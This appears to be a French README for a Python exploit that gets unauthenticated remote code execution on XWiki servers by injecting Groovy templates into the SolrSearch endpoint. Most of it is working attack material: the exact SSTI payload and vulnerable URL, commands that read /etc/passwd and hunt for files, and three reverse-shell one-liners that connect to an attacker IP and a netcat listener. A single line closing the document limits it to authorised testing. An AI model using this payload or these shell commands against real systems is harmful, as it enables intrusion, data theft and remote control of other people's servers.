
Exécution de code à distance non authentifiée dans XWiki via la macro SolrSearch
Un exploit Python pour la vulnérabilité d'injection de modèles côté serveur (SSTI) XWiki via l'injection de modèles Groovy dans le point de terminaison SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Cela vous donnera un pseudo-shell interactif dans lequel vous pouvez exécuter des commandes :
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL : URL cible (requis)-c, --command CMD : Exécuter une commande unique--test : Tester si la cible est vulnérable--no-verify-ssl : Désactiver la vérification du certificat SSL--debug : Activer la sortie de débogageCollecte d'informations :
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Trouver des fichiers intéressants :
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Informations réseau :
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Établir un shell inverse :
# Sur la machine de l'attaquant, démarrer un écouteur :
nc -lvnp 1337
# Depuis l'exploit (essayez différentes méthodes) :
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
L'exploit utilise la structure de charge utile SSTI suivante :
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
La charge utile est encodée en URL et envoyée au point de terminaison vulnérable :
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
Le serveur traite le modèle Groovy et exécute la commande
La sortie est capturée depuis la réponse du flux RSS au format :
search on [}}OUTPUT]
L'exploit analyse la réponse HTML pour extraire la sortie de la commande
xwiki (uid=997)/usr/lib/xwiki-jettyCet outil est destiné uniquement à des fins éducatives et de tests de pénétration autorisés. Utilisez-le uniquement sur des systèmes pour lesquels vous avez la permission de tester.